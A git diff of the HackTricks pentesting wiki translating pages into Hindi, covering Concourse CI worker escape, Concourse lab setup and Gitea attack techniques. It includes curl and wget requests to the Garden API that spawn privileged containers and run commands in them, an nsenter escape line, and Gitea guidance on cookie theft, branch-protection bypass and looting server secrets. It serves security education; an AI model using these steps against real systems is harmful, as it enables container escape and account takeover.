+डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक गार्डन सेवा** से बात कर सके जो प्रत्येक कार्यकर्ता के अंदर है।
+- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना** चाहते हैं, तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी।
+Concourse कार्यकर्ता उच्च कंटेनर विशेषाधिकारों के साथ चलते हैं:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+हालांकि, तकनीकें जैसे **mounting** /dev डिवाइस नोड या release_agent **काम नहीं करेंगी** (क्योंकि नोड के फाइल सिस्टम के साथ असली डिवाइस उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है।
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **privileged container** में **commands** **execute** कर सकते हैं जो **current** **worker** द्वारा बनाया गया है, तो हम **node** पर **escape** कर सकते हैं।
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है।
+**एक चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**नया विशेषाधिकार प्राप्त कंटेनर बनाना**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+आप बहुत आसानी से एक नया कंटेनर बना सकते हैं (बस एक यादृच्छिक UID चलाएँ) और उस पर कुछ निष्पादित कर सकते हैं:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटाने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## संदर्भ
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..27dfa4d59 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -8,19 +8,16 @@
#### With Docker-Compose
-This docker-compose file simplifies the installation to do some tests with concourse:
-
+यह docker-compose फ़ाइल concourse के साथ कुछ परीक्षण करने के लिए स्थापना को सरल बनाती है:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+आप अपने OS के लिए कमांड लाइन `fly` को वेब से `127.0.0.1:8080` पर डाउनलोड कर सकते हैं।
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Kubernetes के साथ (अनुशंसित)
+आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को हेल्म-चार्ट का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+कॉनकोर्स वातावरण बनाने के बाद, आप एक गुप्त कुंजी उत्पन्न कर सकते हैं और कॉनकोर्स वेब में चल रहे SA को K8s गुप्त कुंजियों तक पहुँच प्रदान कर सकते हैं:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### पाइपलाइन बनाएं
-### Create Pipeline
+एक पाइपलाइन [जॉब्स](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [स्टेप्स](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है।
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+### स्टेप्स
-### Steps
+कई विभिन्न प्रकार के स्टेप्स का उपयोग किया जा सकता है:
-Several different type of steps can be used:
+- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **एक** [**task**](https://concourse-ci.org/tasks.html) **चलाता है**
+- [`get` step](https://concourse-ci.org/get-step.html) एक [resource](https://concourse-ci.org/resources.html) लाता है
+- [`put` step](https://concourse-ci.org/put-step.html) एक [resource](https://concourse-ci.org/resources.html) को अपडेट करता है
+- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) एक [pipeline](https://concourse-ci.org/pipelines.html) को कॉन्फ़िगर करता है
+- [`load_var` step](https://concourse-ci.org/load-var-step.html) एक मान को [local var](https://concourse-ci.org/vars.html#local-vars) में लोड करता है
+- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) स्टेप्स को समानांतर में चलाता है
+- [`do` step](https://concourse-ci.org/do-step.html) स्टेप्स को अनुक्रम में चलाता है
+- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) एक स्टेप को कई बार चलाता है; प्रत्येक संयोजन के लिए एक बार वैरिएबल मानों का
+- [`try` step](https://concourse-ci.org/try-step.html) एक स्टेप को चलाने का प्रयास करता है और सफल होता है भले ही स्टेप विफल हो जाए
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+हर [स्टेप](https://concourse-ci.org/steps.html) एक [जॉब प्लान](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(यानी, मेरे परीक्षण चलाएं, यह बैश स्क्रिप्ट चलाएं, यह छवि बनाएं, आदि)_। इसलिए यदि आपके पास पांच स्टेप्स वाला एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक।
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
-
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+इसलिए, यह संकेत देना संभव है कि प्रत्येक स्टेप को किस प्रकार के कंटेनर में चलाने की आवश्यकता है।
+### सरल पाइपलाइन उदाहरण
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-
Check **127.0.0.1:8080** to see the pipeline flow.
### Bash script with output/input pipeline
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहाँ आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**।
### Triggers
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+आपको हर बार उन्हें चलाने के लिए मैन्युअल रूप से नौकरियों को ट्रिगर करने की आवश्यकता नहीं है, आप उन्हें हर बार चलाने के लिए प्रोग्राम भी कर सकते हैं:
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
+- कुछ समय बीतता है: [Time resource](https://github.com/concourse/time-resource/)
+- मुख्य शाखा में नए कमिट पर: [Git resource](https://github.com/concourse/git-resource)
+- नए PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- अपने ऐप की नवीनतम छवि को लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+एक YAML पाइपलाइन उदाहरण देखें जो मास्टर में नए कमिट पर ट्रिगर होता है [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..412172a9b 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,142 +1,130 @@
-# Gitea Security
+# Gitea सुरक्षा
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Gitea क्या है
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea** एक **स्व-होस्टेड समुदाय द्वारा प्रबंधित हल्का कोड होस्टिंग** समाधान है जो Go में लिखा गया है।
.png>)
-### Basic Information
+### बुनियादी जानकारी
{{#ref}}
basic-gitea-information.md
{{#endref}}
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## प्रयोगशाला
+स्थानीय रूप से Gitea उदाहरण चलाने के लिए आप बस एक डॉकर कंटेनर चला सकते हैं:
```bash
docker run -p 3000:3000 gitea/gitea
```
+पोर्ट 3000 से कनेक्ट करें ताकि वेब पेज तक पहुंच सकें।
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+आप इसे कुबेरनेट्स के साथ भी चला सकते हैं:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## अनधिकृत गणना
-## Unauthenticated Enumeration
+- सार्वजनिक रिपॉजिटरी: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** संभवतः **अधिक रिपॉजिटरी या संगठनों को देख सकता है**।
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## आंतरिक शोषण
-## Internal Exploitation
+इस परिदृश्य के लिए हम मान लेंगे कि आपने एक github खाते तक कुछ पहुंच प्राप्त की है।
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ
-### With User Credentials/Web Cookie
+यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ हैं** किस **रिपॉजिटरी पर,** आप **कौन से टीमों में हैं,** **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल इस जानकारी तक पहुँच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**।
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर किया गया) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**।
-### With User SSH Key
+### उपयोगकर्ता SSH कुंजी के साथ
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि के रूप में उपयोग की जाएगी** (कोई 2FA लागू नहीं होता)।
+इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाँकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको कुंजी से संबंधित जानकारी देगी।
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG कुंजियाँ
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
+स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
```shell
gpg --list-secret-keys --keyid-format=long
```
-
### With User Token
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)।
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास **यूजर पर पूर्ण पहुंच** होगी।
### With Oauth Application
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+[**Gitea Oauth एप्लिकेशन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](./#with-oauth-application)।
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-As explained in the basic information, the application will have **full access over the user account**.
+बुनियादी जानकारी में समझाया गया है कि एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी।
### Branch Protection Bypass
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच के साथ एक टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में **यह मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है:
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+- **पुश सक्षम करें**: यदि कोई भी लिखने की पहुंच के साथ ब्रांच पर पुश कर सकता है, तो बस इसे पुश करें।
+- **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें।
+- **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको इसके अंदर होना चाहिए।
+- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है।
+- **व्हाइटलिस्टेड उपयोगकर्ताओं के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है।
+- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपने कोड को इंजेक्ट कर सकें और PR को मर्ज कर सकें।
-Note that **if you are an org/repo admin** you can bypass the protections.
+ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं।
### Enumerate Webhooks
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+**वेबहुक्स** कुछ स्थानों पर **विशिष्ट गीटिया जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\
+हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो **बाहरी उपयोगकर्ताओं** को रोकता है जो वेबहुक के URL को जानते हैं लेकिन गुप्त को नहीं जानते हैं कि **उस वेबहुक का शोषण** कर सकें।\
+लेकिन कुछ अवसरों पर, लोग **गुप्त** को उसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त खोजने** और अन्य स्थानों को शोषण करने की अनुमति दे सकता है।
-Webhooks can be set at **repo and at org level**.
+वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है।
## Post Exploitation
### Inside the server
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+यदि किसी तरह आप उस सर्वर के अंदर पहुँच गए जहाँ गीटिया चल रहा है, तो आपको गीटिया कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है।
-In this file you can find **keys** and **passwords**.
+इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं।
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+गीटिया पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे:
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
